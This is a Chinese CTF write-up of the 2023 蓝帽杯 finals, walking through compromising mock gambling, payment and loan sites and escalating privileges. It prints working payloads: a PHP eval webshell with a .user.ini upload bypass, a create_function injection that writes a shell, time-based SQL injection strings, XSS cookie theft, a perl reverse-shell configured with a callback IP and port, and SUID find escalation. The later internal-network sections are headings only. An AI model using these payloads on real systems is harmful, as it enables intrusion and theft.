目录

  1. 1. 前言
  2. 2. 引流apk平台
  3. 3. apk反编译
  4. 4. 前期资产搜集
  5. 5. 外网
    1. 5.1. 博彩网站主站
    2. 5.2. 博彩网站客服平台(复现)
      1. 5.2.1. xss
      2. 5.2.2. 后台
      3. 5.2.3. phpMyAdmin
      4. 5.2.4. 计划任务提权
  6. 6. 四方支付平台(复现)
    1. 6.1. admin登录处命令执行
    2. 6.2. Unix内核漏洞提权
    3. 6.3. 连接数据库
  7. 7. 优惠大厅(复现)
    1. 7.1. 前台sql注入
    2. 7.2. 后台文件上传
    3. 7.3. 信息收集提升权限
  8. 8. 贷款平台(复现)
    1. 8.1. 备份文件泄露
    2. 8.2. 社工信息利用登录后台
    3. 8.3. sql注入获取shell
    4. 8.4. 密码复用提权
  9. 9. 内网
  10. 10. BC站点搭建FRP内网穿透
    1. 10.1. 信息收集
    2. 10.2. 搭建代理
    3. 10.3. 泛微OA文件上传
  11. 11. 运维靶标
    1. 11.1. 向日葵RCE
    2. 11.2. 信息收集
    3. 11.3. 禅道命令执行
    4. 11.4. polkit提权
  12. 12. Gitlab靶标
  13. 13. Wiki靶标
    1. 13.1. confluence上传内存马
  14. 14. Zimbra靶标
    1. 14.1. getshell
  15. 15. 核心内网区
  16. 16. 财务靶标
    1. 16.1. 用友nc RCE

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

蓝帽杯总决赛(含复现)

2023/10/29 线下赛
  |     |   总文章阅读量:

前言

外网部分wp:https://mp.weixin.qq.com/s?__biz=MzkwNzMzMjIyNg==&mid=2247487629&idx=1&sn=165f0a9bce082f1fa07395d2f34655fc&chksm=c0db8f60f7ac067682ddabde69e3808752869e70fa846a4767347c656d3b64a1f42d57b4cfb7&mpshare=1&scene=23&srcid=1103WWm0mjsJdkbSH2Px2WPk&sharer_shareinfo=4eb7941eb596bd0b0b178a9c08eb537d&sharer_shareinfo_first=82147f491273f56c11f4bf8f258cef85#rd

官方wp:https://yhnx97pvjc.feishu.cn/file/FeMdbGcaTo9lqPx5nUicLl8Bngf

抱歉,没能让出题人使出全力

负责外网只打了个文件上传的我太菜了呜呜呜,不过跟着复现外网还是学到很多

跟着官方wp做点补充复现,一些图会从官方wp里面copy过来补充

官方的攻击路线图

image-20231103205626521

引流apk平台

dirsearch扫引流apk站点可以扫到/flag路由,访问可以下载flag

扫描二维码得到flag和apk文件下载地址

image-20231029105507839


apk反编译

下载并反编译apk文件,先全局搜索flag{文本

image-20231103204020642

除了那个假的flag还有一个flag是交不了的

然后因为apk引流站点的ip为172.16.20.200,所以接下来全局搜索172.16.来找其他的目标ip

image-20231029105333554

我这里只找到3个ip:172.16.200.123,172.16.1.123,172.16.10.102

漏了一个贷款网站的ip,麻了

image-20231103205033876

前期资产搜集

fscan开扫

image-20231029145805010

同时在博彩网站处发现在线客服平台也有自己的ip地址:172.16.15.200:48513


外网

博彩网站主站

文件上传

反编译apk得到的靶标172.16.10.102是博彩网站主站

注册并登录账户

在会员中心 - 基本资料 - 上传身份证照片处发现png文件上传且路径可控

测试发现安全狗过滤了php后缀,后端会检测文件头

测试发现可以传.user.ini

GIF89a
auto_prepend_file=1.png

上传一个1.png

GIF89a
<?php eval($_POST['cmd']);?>

这里试了半天,发现upload路径下居然有个index.php可以访问,于是蚁剑连

image-20231029143953034

连上之后发现桌面有一个flag.txt,注:靶机是windows环境

image-20231029144748685

在数据库连接文件db.php中找到第二个flag

image-20231029150339247


博彩网站客服平台(复现)

xss+后台任意文件读取

xss

博彩网站主站 - 在线客服

这个xss没有任何过滤,但是我并不怎么熟悉xss,也没玩过xssbot,呜。。。

新建项目并查看项目代码,姓名、email以及电话信息任意输入,在留言部分输入xss语句弹到xssbot,可以在xss平台中获取到cookie

image-20231103211120014


后台

dirsearch扫的时候发现存在/admin/路由,访问进入管理员后台登录页面

抓包,把刚才xss得到的cookie替换进去,可以实现绕过鉴权,进入WeLive后台,首页就存在flag

同时存在任意文件读取的功能,读取../config/config.php得到配置文件

image-20231103211544544


phpMyAdmin

fscan扫这个客服平台的端口

fscan -h 172.16.15.200

发现开放888端口

访问,使用刚才配置文件中的得到的用户名密码进行登录,成功登录系统

然后在sql功能处通过写文件的方式写入shell,注意shell的位置在48513端口下

然后访问shell,先看看phpinfo,可以发现disable_functions里面禁用了大量命令执行的函数

蚁剑连上shell,直接插件一把梭绕过


计划任务提权

计划任务由crontab管理,非root用户是无法列出root用户的计划任务的,但可以列出/etc/crontab的系统任务,系统任务默认是以root权限运行的

cat /etc/crontab

查看计划任务,发现root用户会定期执行/tmp/cleanup.py脚本

上传cleanup.py到/tmp并插入我们自己恶意的命令,如反弹shell

从而实现提权


四方支付平台(复现)

反编译apk得到靶标172.16.200.123

这题给了题目源码需要审计,测试的时候发现访问路由的首字母需要大写,通过大小写敏感可以确定是windows系统

admin登录处命令执行

说是登录处存在命令执行,原来是在admin的登录处存在命令执行,我在user那里审了半天。。。

抓个登录的包,发现执行的路径在/Admin/Ajax.php下

对应源码:

if($act=='Login'){//登录后台
	$admin_user=daddslashes($_POST['admin_user']);
	$admin_pass=daddslashes($_POST['admin_pass']);
	$user_pass=$admin_user.'and'.$admin_pass.";";
	$user_pass_echo = create_function('$username',$user_pass);
		if(!$admin_user or !$admin_pass){
			$result=array("code"=>-1,"msg"=>"所有参数不能为空");
		}elseif($admin_user==$conf['admin_user'] && $admin_pass==$conf['admin_pass']) {
			$session=md5($admin_user.$admin_pass.$password_hash);
			$token=authcode("{$user}\t{$session}", 'ENCODE', $conf['KEY']);
			setcookie("admin_token", $token, time() + 604800);
			$city=get_ip_city($ip)['Result']['Country'];
			$DB->exec("insert into `pay_log` (`pid`,`type`,`date`,`ip`,`city`) values ('0','后台管理员登陆','".$date."','".$ip."','".$city."')");
			$result=array("code"=>1,"msg"=>"登录成功");
		}elseif($admin_user != $conf['admin_user']) {
			$_SESSION['pass_error']++;
			$result=array("code"=>-1,"msg"=>"登录失败,账号错误");
		}elseif($admin_pass != $conf['admin_pass']) {
			$_SESSION['pass_error']++;
			$result=array("code"=>-1,"msg"=>"登录失败,密码错误");
		}
}

一眼create_function存在命令执行,$admin_user$admin_pass就是我们可控的用户名和密码,抓包传参命令执行

POST admin_user=admin&admin_pass=1;}phpinfo();/*

image-20231103214724432

接下来就是写入shell

payload:

admin_pass=1;}file_put_contens("1.php","<?php eval($_POST['cmd']);?>");/*

蚁剑连上去,注意路径是/Admin/1.php


Unix内核漏洞提权

连上去发现权限不足,尝试提权

参考文章:https://blog.csdn.net/f_carey/article/details/119972034

此时我们已经获得了靶机的Webshell后门

所以这里需要上传perl-reverse-shell.pl来反弹 Shell

exp下载地址:http://pentestmonkey.net/tools/perl-reverse-shell/perl-reverse-shell-1.0.tar.gz

修改exp文件中 IP 参数为本地主机 IP 地址,如:

my $ip = '192.168.100.1';
my $port = 1234;
# 端口默认为 1234,可自定义,需要注意本地 NC 监听的端口也需要修改。

然后用蚁剑上传到靶机

添加权限

chmod +x perl-reverse-shell.pl

执行文件

./perl-reverse-shell.pl

然后在本地的nc监听处获取交互式shell

image-20231104225828814

查看suid权限

find / -user root -perm -4000 -print 2>/dev/null

image-20231104230003220

可以看到find,su,sudo等都存在suid权限,尝试提权

官方wp用了find进行提权

find /usr/bin/sh -exec /bin/sh -p \; -quit

image-20231104230242659

然后flag就到手了


连接数据库

在配置文件中发现数据库连接账户密码

image-20231104224544153

navicat连上去,在数据库pay_flag表发现flag


优惠大厅(复现)

反编译apk得到靶标172.16.1.123,这个居然是优惠大厅。。。

image-20231103213141689

前台sql注入

在前台【会员登录】处,随意输入账号密码,bp开启抓包

测试,发现username存在时间盲注,用>判断会报错,尝试用=判断

1' and if(length(database())=4,sleep(5),1)

那就开始盲注,不知道sqlmap能不能跑

最后找到后台账号和md5加密的密码

admin    6fab062fd242430d18aeff4e116edb04 
lmb      6e3261f301f41c5f4169cd562b259994

尝试md5解密,好像用比赛时提供的社工库就能解出来为lmb@123

然后带着这个账号密码去admin.php登录后台即可

在后台【系统管理】->【管理组】->【管理员】处,发现flag

image-20231105124928248


后台文件上传

点击【会员管理】,进入【会员列表】模块,点击【新增假人】

发现存在图片文件上传

image-20231105125113272

传图片马抓包,修改为.phtml后缀

image-20231105125201214

返回了文件上传的路径,访问发现成功解析,那就蚁剑连上去


信息收集提升权限

对服务器文件进行信息收集,发现数据库配置文件Db.php

在Chat/Application/Info/Config/Db.php里

image-20231105135321204

发现root用户的密码,登录,成功获取root权限

在/root/目录下发现lmb.txt文件,查看该文件,解码之后获取flag


贷款平台(复现)

apk反编译获取的靶标172.16.100.10

访问发现是http默认页面

备份文件泄露

根据前面反编译时发现的路由/dkpt,然后dirsearch扫描,发现存在/dkpt/dkpt.com.bak路径(注,这里的dirsearch字典要用比赛提供的dirsearch)

访问得到flag


社工信息利用登录后台

dirsearch扫描发现后台登录地址/dkpt/madmin.php

根据提示密码和个人信息有关,观察首页相关信息,发现联系电话18855667788

image-20231106001402828

在比赛给的社工库里进行查找,发现历史密码1qaz@WSX!@#$

image-20231106001326272

于是可以进行后台登录


sql注入获取shell

在后台会员管理madmin.php?m=User&a=edit&id=接口处存在SQL注入

直接sqlmap开跑,写入目录猜测在/var/www/html/dkpt

image-20231106001629299

访问shell成功连上蚁剑


密码复用提权

执行whoami,发现我们是apache用户

查看/home目录发现存在 dkpt 用户

查看数据库配置文件

image-20231106001903329

得到数据库的用户名dkpt和其密码lmb_dkp@123(这里的数据库用户名dkpt和前面的用户不是一个东西)

连上数据库,查找信息

select * from `dkpt_admin` order by 1 DESC limit 0,20;

image-20231106001958069

查询发现另一个管理员admin888的账号和密码d42410e5cea9e0c3fae5664e1aa609a4

md5解密,尝试用这个密码来登录dkpt账户

ssh dkpt@172.16.100.10

这里可以用su提权

sudo su

在root目录下找到flag


内网

这里对我来说就是未知领域了,靠队友(

fscan根据提示继续爆

image-20231029155933907

10.10.200.55

根据目前已知ip的c段进行爆破可以得到ip

192.33.33.200


BC站点搭建FRP内网穿透

信息收集

搭建代理

泛微OA文件上传


运维靶标

向日葵RCE

信息收集

禅道命令执行

polkit提权


Gitlab靶标

CVE-2021-22205


Wiki靶标

confluence上传内存马


Zimbra靶标

getshell


核心内网区

财务靶标

用友nc RCE